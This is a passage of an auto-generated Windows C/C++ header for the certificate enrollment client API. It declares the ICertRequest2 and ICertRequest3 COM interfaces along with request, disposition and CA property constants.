__RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__out LONG *pPropFlags);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAPropertyDisplayName )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDisplayName);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetFullResponseProperty )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue);\n        \n        END_INTERFACE\n    } ICertRequest2Vtbl;\n\n    interface ICertRequest2\n    {\n        CONST_VTBL struct ICertRequest2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertRequest2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertRequest2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertRequest2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertRequest2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertRequest2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertRequest2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertRequest2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertRequest2_Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition) ) \n\n#define ICertRequest2_RetrievePending(This,RequestId,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> RetrievePending(This,RequestId,strConfig,pDisposition) ) \n\n#define ICertRequest2_GetLastStatus(This,pStatus)\t\\\n    ( (This)->lpVtbl -> GetLastStatus(This,pStatus) ) \n\n#define ICertRequest2_GetRequestId(This,pRequestId)\t\\\n    ( (This)->lpVtbl -> GetRequestId(This,pRequestId) ) \n\n#define ICertRequest2_GetDispositionMessage(This,pstrDispositionMessage)\t\\\n    ( (This)->lpVtbl -> GetDispositionMessage(This,pstrDispositionMessage) ) \n\n#define ICertRequest2_GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate) ) \n\n#define ICertRequest2_GetCertificate(This,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCertificate(This,Flags,pstrCertificate) ) \n\n\n#define ICertRequest2_GetIssuedCertificate(This,strConfig,RequestId,strSerialNumber,pDisposition)\t\\\n    ( (This)->lpVtbl -> GetIssuedCertificate(This,strConfig,RequestId,strSerialNumber,pDisposition) ) \n\n#define ICertRequest2_GetErrorMessageText(This,hrMessage,Flags,pstrErrorMessageText)\t\\\n    ( (This)->lpVtbl -> GetErrorMessageText(This,hrMessage,Flags,pstrErrorMessageText) ) \n\n#define ICertRequest2_GetCAProperty(This,strConfig,PropId,PropIndex,PropType,Flags,pvarPropertyValue)\t\\\n    ( (This)->lpVtbl -> GetCAProperty(This,strConfig,PropId,PropIndex,PropType,Flags,pvarPropertyValue) ) \n\n#define ICertRequest2_GetCAPropertyFlags(This,strConfig,PropId,pPropFlags)\t\\\n    ( (This)->lpVtbl -> GetCAPropertyFlags(This,strConfig,PropId,pPropFlags) ) \n\n#define ICertRequest2_GetCAPropertyDisplayName(This,strConfig,PropId,pstrDisplayName)\t\\\n    ( (This)->lpVtbl -> GetCAPropertyDisplayName(This,strConfig,PropId,pstrDisplayName) ) \n\n#define ICertRequest2_GetFullResponseProperty(This,PropId,PropIndex,PropType,Flags,pvarPropertyValue)\t\\\n    ( (This)->lpVtbl -> GetFullResponseProperty(This,PropId,PropIndex,PropType,Flags,pvarPropertyValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertRequest2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certcli_0000_0005 */\n/* [local] */ \n\ntypedef \nenum X509EnrollmentAuthFlags\n    {\n        X509AuthNone\t= 0,\n        X509AuthAnonymous\t= 1,\n        X509AuthKerberos\t= 2,\n        X509AuthUsername\t= 4,\n        X509AuthCertificate\t= 8\n    } \tX509EnrollmentAuthFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0005_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certcli_0000_0005_v0_0_s_ifspec;\n\n#ifndef __ICertRequest3_INTERFACE_DEFINED__\n#define __ICertRequest3_INTERFACE_DEFINED__\n\n/* interface ICertRequest3 */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertRequest3;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"AFC8F92B-33A2-4861-BF36-2933B7CD67B3\")\n    ICertRequest3 : public ICertRequest2\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE SetCredential( \n            /* [in] */ LONG hWnd,\n            /* [in] */ X509EnrollmentAuthFlags AuthType,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRequestIdString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetIssuedCertificate2( \n            /* [in] */ __RPC__in BSTR strConfig,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRefreshPolicy( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertRequest3Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertRequest3 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertRequest3 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertRequest3 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertRequest3 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Submit )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG Flags,\n            /* [in] */ __RPC__in const BSTR strRequest,\n            /* [in] */ __RPC__in const BSTR strAttributes,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *RetrievePending )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastStatus )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__out LONG *pStatus);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestId )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__out LONG *pRequestId);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDispositionMessage )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDispositionMessage);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCACertificate )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG fExchangeCertificate,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificate )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIssuedCertificate )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetErrorMessageText )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG hrMessage,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrErrorMessageText);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAProperty )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAPropertyFlags )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__out LONG *pPropFlags);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAPropertyDisplayName )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDisplayName);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetFullResponseProperty )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetCredential )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ LONG hWnd,\n            /* [in] */ X509EnrollmentAuthFlags AuthType,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestIdString )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrRequestId);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIssuedCertificate2 )( \n            __RPC__in ICertRequest3 * This,\n            /* [in] */ __RPC__in BSTR strConfig,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRefreshPolicy )( \n            __RPC__in ICertRequest3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        END_INTERFACE\n    } ICertRequest3Vtbl;\n\n    interface ICertRequest3\n    {\n        CONST_VTBL struct ICertRequest3Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertRequest3_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertRequest3_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertRequest3_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertRequest3_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertRequest3_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertRequest3_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertRequest3_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertRequest3_Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition) ) \n\n#define ICertRequest3_RetrievePending(This,RequestId,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> RetrievePending(This,RequestId,strConfig,pDisposition) ) \n\n#define ICertRequest3_GetLastStatus(This,pStatus)\t\\\n    ( (This)->lpVtbl -> GetLastStatus(This,pStatus) ) \n\n#define ICertRequest3_GetRequestId(This,pRequestId)\t\\\n    ( (This)->lpVtbl -> GetRequestId(This,pRequestId) ) \n\n#define ICertRequest3_GetDispositionMessage(This,pstrDispositionMessage)\t\\\n    ( (This)->lpVtbl -> GetDispositionMessage(This,pstrDispositionMessage) ) \n\n#define ICertRequest3_GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate) ) \n\n#define ICertRequest3_GetCertificate(This,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCertificate(This,Flags,pstrCertificate) ) \n\n\n#define ICertRequest3_GetIssuedCertificate(This,strConfig,RequestId,strSerialNumber,pDisposition)\t\\\n    ( (This)->lpVtbl -> GetIssuedCertificate(This,strConfig,RequestId,strSerialNumber,pDisposition) ) \n\n#define ICertRequest3_GetErrorMessageText(This,hrMessage,Flags,pstrErrorMessageText)\t\\\n    ( (This)->lpVtbl -> GetErrorMessageText(This,hrMessage,Flags,pstrErrorMessageText) ) \n\n#define ICertRequest3_GetCAProperty(This,strConfig,PropId,PropIndex,PropType,Flags,pvarPropertyValue)\t\\\n    ( (This)->lpVtbl -> GetCAProperty(This,strConfig,PropId,PropIndex,PropType,Flags,pvarPropertyValue) ) \n\n#define ICertRequest3_GetCAPropertyFlags(This,strConfig,PropId,pPropFlags)\t\\\n    ( (This)->lpVtbl -> GetCAPropertyFlags(This,strConfig,PropId,pPropFlags) ) \n\n#define ICertRequest3_GetCAPropertyDisplayName(This,strConfig,PropId,pstrDisplayName)\t\\\n    ( (This)->lpVtbl -> GetCAPropertyDisplayName(This,strConfig,PropId,pstrDisplayName) ) \n\n#define ICertRequest3_GetFullResponseProperty(This,PropId,PropIndex,PropType,Flags,pvarPropertyValue)\t\\\n    ( (This)->lpVtbl -> GetFullResponseProperty(This,PropId,PropIndex,PropType,Flags,pvarPropertyValue) ) \n\n\n#define ICertRequest3_SetCredential(This,hWnd,AuthType,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> SetCredential(This,hWnd,AuthType,strCredential,strPassword) ) \n\n#define ICertRequest3_GetRequestIdString(This,pstrRequestId)\t\\\n    ( (This)->lpVtbl -> GetRequestIdString(This,pstrRequestId) ) \n\n#define ICertRequest3_GetIssuedCertificate2(This,strConfig,strRequestId,strSerialNumber,pDisposition)\t\\\n    ( (This)->lpVtbl -> GetIssuedCertificate2(This,strConfig,strRequestId,strSerialNumber,pDisposition) ) \n\n#define ICertRequest3_GetRefreshPolicy(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetRefreshPolicy(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertRequest3_INTERFACE_DEFINED__ */\n\n\n\n#ifndef __CERTCLILib_LIBRARY_DEFINED__\n#define __CERTCLILib_LIBRARY_DEFINED__\n\n/* library CERTCLILib */\n/* [helpstring][version][uuid] */ \n\n#define wszCONFIG_COMMONNAME \t\tL\"CommonName\"\n#define wszCONFIG_ORGUNIT \t\tL\"OrgUnit\"\n#define wszCONFIG_ORGANIZATION \t\tL\"Organization\"\n#define wszCONFIG_LOCALITY \t\tL\"Locality\"\n#define wszCONFIG_STATE\t\t\tL\"State\"\n#define wszCONFIG_COUNTRY\t\tL\"Country\"\n#define wszCONFIG_CONFIG\t\tL\"Config\"\n#define wszCONFIG_EXCHANGECERTIFICATE\tL\"ExchangeCertificate\"\n#define wszCONFIG_SIGNATURECERTIFICATE\tL\"SignatureCertificate\"\n#define wszCONFIG_DESCRIPTION\t\tL\"Description\"\n#define wszCONFIG_COMMENT\t\tL\"Comment\" // obsolete: use Description\n#define wszCONFIG_SERVER \t\tL\"Server\"\n#define wszCONFIG_AUTHORITY \t\tL\"Authority\"\n#define wszCONFIG_SANITIZEDNAME\t\tL\"SanitizedName\"\n#define wszCONFIG_SHORTNAME\t\tL\"ShortName\"\n#define wszCONFIG_SANITIZEDSHORTNAME\tL\"SanitizedShortName\"\n#define wszCONFIG_FLAGS\t\t\tL\"Flags\"\n#define wszCONFIG_WEBENROLLMENTSERVERS\tL\"WebEnrollmentServers\"\n#define\tCAIF_DSENTRY\t( 0x1 )\n\n#define\tCAIF_SHAREDFOLDERENTRY\t( 0x2 )\n\n#define\tCAIF_REGISTRY\t( 0x4 )\n\n#define\tCAIF_LOCAL\t( 0x8 )\n\n#define\tCAIF_REGISTRYPARENT\t( 0x10 )\n\n#define\tCR_IN_BASE64HEADER\t( 0 )\n\n#define\tCR_IN_BASE64\t( 0x1 )\n\n#define\tCR_IN_BINARY\t( 0x2 )\n\n#define\tCR_IN_ENCODEANY\t( 0xff )\n\n#define\tCR_IN_ENCODEMASK\t( 0xff )\n\n#define\tCR_IN_FORMATANY\t( 0 )\n\n#define\tCR_IN_PKCS10\t( 0x100 )\n\n#define\tCR_IN_KEYGEN\t( 0x200 )\n\n#define\tCR_IN_PKCS7\t( 0x300 )\n\n#define\tCR_IN_CMC\t( 0x400 )\n\n#define\tCR_IN_CHALLENGERESPONSE\t( 0x500 )\n\n#define\tCR_IN_FORMATMASK\t( 0xff00 )\n\n#define\tCR_IN_SCEP\t( 0x10000 )\n\n#define\tCR_IN_RPC\t( 0x20000 )\n\n#define\tCR_IN_HTTP\t( 0x30000 )\n\n#define\tCR_IN_FULLRESPONSE\t( 0x40000 )\n\n#define\tCR_IN_CRLS\t( 0x80000 )\n\n#define\tCR_IN_MACHINE\t( 0x100000 )\n\n#define\tCR_IN_ROBO\t( 0x200000 )\n\n#define\tCR_IN_CLIENTIDNONE\t( 0x400000 )\n\n#define\tCR_IN_CONNECTONLY\t( 0x800000 )\n\n#define\tCR_IN_RETURNCHALLENGE\t( 0x1000000 )\n\n#define\tCR_IN_SCEPPOST\t( 0x2000000 )\n\n#define\tCR_IN_CLIENTFLAGSMASK\t( ( ( ( ( ( CR_IN_ENCODEMASK | CR_IN_RPC )  | CR_IN_MACHINE )  | CR_IN_CLIENTIDNONE )  | CR_IN_CONNECTONLY )  | CR_IN_RETURNCHALLENGE )  )\n\n#define\tCC_DEFAULTCONFIG\t( 0 )\n\n#define\tCC_UIPICKCONFIG\t( 0x1 )\n\n#define\tCC_FIRSTCONFIG\t( 0x2 )\n\n#define\tCC_LOCALCONFIG\t( 0x3 )\n\n#define\tCC_LOCALACTIVECONFIG\t( 0x4 )\n\n#define\tCC_UIPICKCONFIGSKIPLOCALCA\t( 0x5 )\n\n#define\tCR_DISP_INCOMPLETE\t( 0 )\n\n#define\tCR_DISP_ERROR\t( 0x1 )\n\n#define\tCR_DISP_DENIED\t( 0x2 )\n\n#define\tCR_DISP_ISSUED\t( 0x3 )\n\n#define\tCR_DISP_ISSUED_OUT_OF_BAND\t( 0x4 )\n\n#define\tCR_DISP_UNDER_SUBMISSION\t( 0x5 )\n\n#define\tCR_DISP_REVOKED\t( 0x6 )\n\n#define\tCR_OUT_BASE64HEADER\t( 0 )\n\n#define\tCR_OUT_BASE64\t( 0x1 )\n\n#define\tCR_OUT_BINARY\t( 0x2 )\n\n#define\tCR_OUT_BASE64REQUESTHEADER\t( 0x3 )\n\n#define\tCR_OUT_HEX\t( 0x4 )\n\n#define\tCR_OUT_HEXASCII\t( 0x5 )\n\n#define\tCR_OUT_BASE64X509CRLHEADER\t( 0x9 )\n\n#define\tCR_OUT_HEXADDR\t( 0xa )\n\n#define\tCR_OUT_HEXASCIIADDR\t( 0xb )\n\n#define\tCR_OUT_HEXRAW\t( 0xc )\n\n#define\tCR_OUT_ENCODEMASK\t( 0xff )\n\n#define\tCR_OUT_CHAIN\t( 0x100 )\n\n#define\tCR_OUT_CRLS\t( 0x200 )\n\n#define\tCR_OUT_NOCRLF\t( 0x40000000 )\n\n#define\tCR_OUT_NOCR\t( 0x80000000 )\n\n#define\tCR_GEMT_DEFAULT\t( 0 )\n\n#define\tCR_GEMT_HRESULT_STRING\t( 0x1 )\n\n#define\tCR_GEMT_HTTP_ERROR\t( 0x2 )\n\n#define CR_PROP_NONE               0  // Invalid\n#define CR_PROP_FILEVERSION        1  // String\n#define CR_PROP_PRODUCTVERSION     2  // String\n#define CR_PROP_EXITCOUNT          3  // Long\n\n// CR_PROP_EXITCOUNT Elements:\n#define CR_PROP_EXITDESCRIPTION    4  // String, Indexed\n\n#define CR_PROP_POLICYDESCRIPTION  5  // String\n#define CR_PROP_CANAME             6  // String\n#define CR_PROP_SANITIZEDCANAME    7  // String\n#define CR_PROP_SHAREDFOLDER       8  // String\n#define CR_PROP_PARENTCA           9  // String\n#define CR_PROP_CATYPE            10  // Long\n#define CR_PROP_CASIGCERTCOUNT    11  // Long\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CASIGCERT         12  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CASIGCERTCHAIN    13  // Binary, Indexed\n\n#define CR_PROP_CAXCHGCERTCOUNT   14  // Long\n\n// CR_PROP_CAXCHGCERTCOUNT Elements:\n#define CR_PROP_CAXCHGCERT        15  // Binary, Indexed\n\n// CR_PROP_CAXCHGCERTCOUNT Elements:\n#define CR_PROP_CAXCHGCERTCHAIN   16  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n// Fetch only if CR_PROP_CRLSTATE[i] == CA_DISP_VALID\n// May also be available if CR_PROP_CRLSTATE[i] == CA_DISP_INVALID\n#define CR_PROP_BASECRL           17  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n// Fetch only if Delta CRLs enabled && CR_PROP_CRLSTATE[i] == CA_DISP_VALID\n// May also be available if CR_PROP_CRLSTATE[i] == CA_DISP_INVALID\n#define CR_PROP_DELTACRL          18  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CACERTSTATE       19  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CRLSTATE          20  // Long, Indexed\n\n#define CR_PROP_CAPROPIDMAX       21  // Long\n#define CR_PROP_DNSNAME           22  // String\n#define CR_PROP_ROLESEPARATIONENABLED 23 // Long\n#define CR_PROP_KRACERTUSEDCOUNT  24  // Long\n#define CR_PROP_KRACERTCOUNT      25  // Long\n\n// CR_PROP_KRACERTCOUNT Elements:\n#define CR_PROP_KRACERT           26  // Binary, Indexed\n\n// CR_PROP_KRACERTCOUNT Elements:\n#define CR_PROP_KRACERTSTATE      27  // Long, Indexed\n\n#define CR_PROP_ADVANCEDSERVER    28  // Long\n#define CR_PROP_TEMPLATES         29  // String\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n// Fetch only if CR_PROP_CRLSTATE[i] == CA_DISP_VALID\n#define CR_PROP_BASECRLPUBLISHSTATUS 30  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n// Fetch only if Delta CRLs enabled && CR_PROP_CRLSTATE[i] == CA_DISP_VALID\n#define CR_PROP_DELTACRLPUBLISHSTATUS 31  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CASIGCERTCRLCHAIN 32  // Binary, Indexed\n\n// CR_PROP_CAXCHGCERTCOUNT Elements:\n#define CR_PROP_CAXCHGCERTCRLCHAIN 33 // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CACERTSTATUSCODE  34  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CAFORWARDCROSSCERT 35  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CABACKWARDCROSSCERT 36  // Binary, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CAFORWARDCROSSCERTSTATE 37  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CABACKWARDCROSSCERTSTATE 38  // Long, Indexed\n\n// CR_PROP_CASIGCERTCOUNT Elements:\n#define CR_PROP_CACERTVERSION       39  // Long, Indexed\n#define CR_PROP_SANITIZEDCASHORTNAME 40  // String\n\n// CR_PROP_CERTCDPURLS Elements:\n#define CR_PROP_CERTCDPURLS 41  // String, Indexed\n\n// CR_PROP_CERTAIAURLS Elements:\n#define CR_PROP_CERTAIAURLS 42  // String, Indexed\n\n// CR_PROP_CERTAIAOCSPURLS Elements:\n#define CR_PROP_CERTAIAOCSPURLS 43  // String, Indexed\n\n// CR_PROP_LOCALENAME Elements:\n#define CR_PROP_LOCALENAME 44  // String\n\n// CR_PROP_SUBJECTTEMPLATE_OIDS Elements:\n#define CR_PROP_SUBJECTTEMPLATE_OIDS 45  // String\n#define CR_PROP_SCEPSERVERCERTS        1000  // Binary\n#define CR_PROP_SCEPSERVERCAPABILITIES 1001  // String\n#define CR_PROP_SCEPSERVERCERTSCHAIN   1002  // Binary\n#define CR_PROP_SCEPMIN CR_PROP_SCEPSERVERCERTS\n#define CR_PROP_SCEPMAX CR_PROP_SCEPSERVERCERTSCHAIN\n\n\n#define FR_PROP_NONE                    0  // Invalid\n#define FR_PROP_FULLRESPONSE            1  // Binary\n#define FR_PROP_STATUSINFOCOUNT         2  // Long\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_BODYPARTSTRING          3  // String, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_STATUS                  4  // Long, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_STATUSSTRING            5  // String, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_OTHERINFOCHOICE         6  // Long, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_FAILINFO                7  // Long, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_PENDINFOTOKEN           8  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_PENDINFOTIME            9  // Date, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ISSUEDCERTIFICATEHASH  10  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ISSUEDCERTIFICATE      11  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define FR_PROP_ISSUEDCERTIFICATECHAIN 12  // Binary, Indexed\n\n// FR_PROP_STATUSINFOCOUNT Elements:\n#define 